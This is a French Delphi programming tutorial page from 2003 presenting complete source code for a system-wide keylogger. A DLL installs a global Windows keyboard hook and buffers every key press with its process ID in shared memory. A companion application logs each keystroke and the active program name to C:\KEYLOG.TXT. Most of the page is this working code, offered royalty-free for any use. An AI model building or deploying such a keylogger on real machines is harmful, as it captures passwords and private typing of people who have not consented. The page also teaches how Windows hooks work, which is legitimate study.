Developpez.com - Delphi
X

Choisissez d'abord la catégorieensuite la rubrique :

Nono40.developpez.com
Le petit coin du web de Nono40
SOURCES TESTS DELPHI WIN32 AUTOMATISMES DELPHI .NET QUICK-REPORT
Retour à l'accueil
7 - KEYLOGGER

PRÉSENTATION : KEYLOGGER, ou programme de suivi des touches appuyées sur l'ordinateur.
ZIP : Téléchargez le zip APERÇUS :

NOTES : Ce programme est basé sur l'utilisation des Hooks de windows. Les hooks permettent d'être avertis de certaines catégories d'évènements : clavier, souris...
Ainsi à chaque appui de touche une procédure du programme de suivi est appelée. Mais c'est là que les choses se compliquent : comme l'appel de procédure s'effectue dans l'environnement de l'application concernée, les variables du programme, même globales ne sont pas accessibles. C'est pourquoi la procédure appelée doit être située dans une dll, car elle peut être appelée en restant dans l'environnement des applications.
Le suivi des touches est alors effectué dans un fichier dont le nom est connu. Par souci de vitesse, le mieux est d'utiliser un fichier placé en mémoire ainsi aucun n'accès disque n'est effectué.

L'application présentée ici implémente le KeyLogger tel que présenté ci-dessus. Reportez-vous à l'aide SDK pour plus de détails

La structure du fichier généré est la suivante :
S000TTTT=PROCESS.EXE
S : 0 quand la touche est appuyée, 8 quand la touche est lâchée
TTTT : Code virtuel de la touche, voir l'aide de delphi pour avoir la liste des codes
PROCESS.EXE : nom de l'exécutable actif au moment de l'appui/lâché de la touche
Par exemple si dans Internet Explorer vous appuyez et lâchez les touches ABCD vous obtenez :
00000041=IEXPLORE.EXE
80000041=IEXPLORE.EXE
00000042=IEXPLORE.EXE
80000042=IEXPLORE.EXE
00000043=IEXPLORE.EXE
80000043=IEXPLORE.EXE
00000044=IEXPLORE.EXE
80000044=IEXPLORE.EXE


CODE :
//**************************************************************************
//* Source de la dll
//**************************************************************************
Library DllHook;

Uses
  SysUtils,Windows,Classes;

{$R *.res}

// Définition d'un buffer intermédiaire de stockage des touches
// 127 touches maxi en attente de lecture pas GetNextKey()
Type
  PKeyBuffer = ^TKeyBuffer;
  TKeyBuffer = Record
    kbIN  :Integer;
    kbOUT :Integer;
    kbKEY :Array[0..127Of Integer;
    kbID  :Array[0..127Of Integer;
  End;

// Handle des accès aux Hook et FileMapping par l'application principale
// Ces données bien que globales ne sont pas accessible par les autres
// process. Elles ne peuvent donc pas être utilisées par la fonction
// CallBack du hook.
Var
  HandleHook  :Integer    =0;
  HandleFile  :Integer    =0;
  Pointeur    :PKeyBuffer =Nil;

// Fonction CallBack du hook placé sur le clavier. Les touches lues sont placées
// dans le buffer pour être ensuite lues par la fonction GetNextKey().
Function KeyboardHook(code: Integer; wparam: WPARAM; lparam: LPARAM): LRESULT stdcall;
Var HandleFileLocal:Integer;
    PointeurLocal  :PKeyBuffer;
    Adresse        :Integer;
Begin
  // Il faut penser que cette fonction s'exécute dans chaque process actif.
  // Les données globales de la dll ne sont donc pas accessibles. Le file
  // mapping permet de palier à ce problème en offre un espace mémoire
  // facile d'accès en n'en connaissant que le nom.
  HandleFileLocal:=OpenFileMapping(File_MAP_WRITE,False,'KEYHOOK');
  If HandleFileLocal<>0
  Then Begin
    PointeurLocal:=PKeyBuffer(MapViewOfFile(HandleFileLocal,File_MAP_WRITE,0,0,0));
    If PointeurLocal<>Nil
    Then Begin
      // Une fois le FileMapping effectué, le buffer est en accès direct, on ajoute
      // alors la nouvelle touche à la suite de la file
      // WParam contient le code de touche virtuel
      // Le bit 31 de LParam est à 0 pour un KeyDown et à 1 pour un KeyUp
      Adresse:=(PointeurLocal^.kbIN+1)And 127;
      PointeurLocal^.kbID [Adresse]:=GetCurrentProcessId;
      PointeurLocal^.kbKEY[Adresse]:=(WParam And $0000FFFF)+(LParam And Longint($80000000));
      PointeurLocal^.kbIN          :=Adresse;
      UnMapViewOfFile(PointeurLocal);
    End;
    CloseHandle(HandleFileLocal);
  End;
  Result:=CallNextHookEx(HandleHook,code,wparam,lparam);
End;

// Procédure d'initialisation du Hook et de création du FileMapping
// Elle doit être appelée une fois et une seule en début de votre application
Function StartHook:Boolean;StdCall;
Begin
  HandleFile:=CreateFileMapping
    ($FFFFFFFF                   // Handle mémoire => partage de mémoire et non de fichier
    ,Nil                         // Sécurité par défaut
    ,PAGE_READWRITE              // Accès en lecture/écriture
    ,0                           // Taille de la zone partagée   HIGH
    ,SizeOf(TKeyBuffer)          // Taille de la zone partagée   LOW
    ,'KEYHOOK'  );               // Nom du partage

  If HandleFile<>0
    Then Pointeur:=PKeyBuffer(MapViewOfFile
      (HandleFile                // Handle obtenu par CreateFileMapping
      ,File_MAP_WRITE            // Accès en lecture/écriture
      ,0                         // Pas d'offset
      ,0                         // Pas d'offset
      ,0));                      // Mapping de tout le fichier

  If Pointeur<>Nil
  Then Begin
    Pointeur^.kbIN  :=0;         // Initialisation de la file d'attente
    Pointeur^.kbOUT :=0;
  End;
  HandleHook:=SetWindowsHookEx
    (WH_KEYBOARD                 // Type de HOOK utilisé ( sur le clavier ici )
    ,KeyboardHook                // Adresse de la fonction CallBack qui sera appelée
    ,hInstance                   // Handle de la dll demandant le Hook
    ,0);                         // Pas d'ID Thread, car on veut un Hook système
  Result:=(HandleHook<>0And (HandleFile<>0And (Pointeur<>Nil);
End;

// Procédure de fermeture du Hook
// Doit être appelée en fin d'application
Function StopHook:Boolean;StdCall;
Begin
  Result:=True;
  If Pointeur<>Nil Then UnMapViewOfFile(Pointeur);               // Libération du mapping
  If HandleFile<>0 Then CloseHandle(HandleFile);                 // Fermeture du fichier
  If HandleHook<>0 Then Result:=UnHookWindowsHookEx(HandleHook); // Suppression du Hook
End;

// Procédure de lecture du buffer des touches par l'application.
// Chaque appel de la fonction envoi la touche suivante. La fonction
// renvoi True si une touche est effectivement disponible dans le buffer.
// Dans ce cas Key contient le code virtuel de la touche
// avec en plus dans le bit 31 de key, l'état KeyUP/KeyDown.
// Si le buffer est vide, la fonction renvoie False.
Function GetNextKey(Var Key,ID:Integer):Boolean;StdCall;
Var Adresse:Integer;
Begin
  If Pointeur^.kbIN<>Pointeur^.kbOUT
  Then Begin
    Adresse:=(Pointeur^.kbOUT+1)And 127;
    ID  := Pointeur^.kbID [Adresse];
    Key := Pointeur^.kbKEY[Adresse];
    Pointeur^.kbOUT := Adresse;
    Result:=True;
  End
  Else Result:=False;
End;

Exports StartHook,StopHook,GetNextKey;

End.


//**************************************************************************
//* Source de l'application
//**************************************************************************
Unit Unit1;

Interface

Uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ExtCtrls;

Type
  TForm1 = Class(TForm)
    Timer1: TTimer;
    Procedure Timer1Timer(Sender: TObject);
  Private
    { Déclarations privées }
  Public
    { Déclarations publiques }
  End;

Var
  Form1: TForm1;

// Définition des prototype de fonctions contenues dans la dll
// Voir le source de la dll pour plus de détails
Function StartHook                      :Boolean; stdcall; external 'DllHook.dll';
Function StopHook                       :Boolean; stdcall; external 'DllHook.dll';
Function GetNextKey(Var Key,ID:Integer) :Boolean; stdcall; external 'DllHook.dll';

Implementation

{$R *.dfm}

Uses tlHelp32;

// Variable contenant la liste actuelle des process
Var ListeProcess :TStrings;
// Variable contenant le fichier texte en cours d'écriture
    Fichier      :TextFile;

// Procédure de mise à jour de la liste des process
// Elle est appelée chaque fois qu'un IdProcess est inconnu dans la liste actuelle
Procedure MiseAJourListeProcess;
Var h   :Integer;
    me32:TProcessEntry32;
Begin
  ListeProcess.Clear;
  h := CreateToolHelp32Snapshot(TH32CS_SNAPPROCESS,0);
  me32.dwSize := sizeof(me32);
  If Process32First(h,me32)
  Then Repeat
    ListeProcess.Add(IntToHex(Me32.th32ProcessID,8)
                    +UpperCase(ExtractFileName(StrPas (Me32.szExeFile))));
  Until Not Process32Next(h,me32);
  CloseHandle(h);
End;

// Cherche le nom du fichier EXE en fonction de l'IdProcess
Function ChercheNomProcess(ProcessId:Cardinal):String;
Var i     :Integer;
    Chaine:String;
Begin
  Result:='';
  Chaine:=IntToHex(ProcessID,8);
  For i:=0 To listeProcess.Count-1 Do If Copy(ListeProcess[i],1,8)=Chaine
  Then Begin
    Result:=Copy(ListeProcess[i],9,Length(ListeProcess[i])-8);
    Break;
  End;
End;

// Le timer permet de tester périodiquement l'état du buffer des touches
Procedure TForm1.Timer1Timer(Sender: TObject);
Var ProcessId:Integer;
    Key      :Integer;
    Nom      :String;
Begin
  // Tant qu'une touche est présente...
  While GetNextKey(Key,ProcessID) Do
  Begin
    // ... on cherche le nom de l'EXE ...
    Nom:=ChercheNomProcess(ProcessId);
    If Nom=''
    Then Begin
      // ... si par hasard il s'agit d'un nouveau process
      // on met à jour la liste et on cherche de nouveau...
      MiseAJourListeProcess;
      Nom:=ChercheNomProcess(ProcessId);
      If Nom='' Then Nom:='<INCONNU>';
    End;
    // ... enfin on stock la touche dans le fichier.
    WriteLn(Fichier,IntToHex(Key,8)+'='+Nom);
  End;
End;

Initialization
  Application.Title:='Nono40';
  // Ouverture en écriture du fichier texte
  AssignFile(Fichier,'C:\KEYLOG.TXT');
  If FileExists('C:\KEYLOG.TXT'Then Append(Fichier)
                                 Else Rewrite(Fichier);
  // Lancement du hook
  If Not StartHook Then ShowMessage('Erreur de lancement du HOOK');
  ListeProcess:=TStringList.Create;
Finalization
  ListeProcess.Free;
  // Arrêt du Hook
  StopHook;
  // et fermeture du fichier
  CloseFile(Fichier);
End.

Les sources présentées sur cette page sont libres de droits et vous pouvez les utiliser à votre convenance. Par contre, la page de présentation constitue une œuvre intellectuelle protégée par les droits d'auteur. Copyright © 2003 Bruno Guérangé. Aucune reproduction, même partielle, ne peut être faite de ce site et de l'ensemble de son contenu : textes, documents, images, etc. sans l'autorisation expresse de l'auteur. Sinon vous encourez selon la loi jusqu'à trois ans de prison et jusqu'à 300 000 € de dommages et intérêts.

Responsables bénévoles de la rubrique Delphi : Gilles Vasseur - Alcatîz -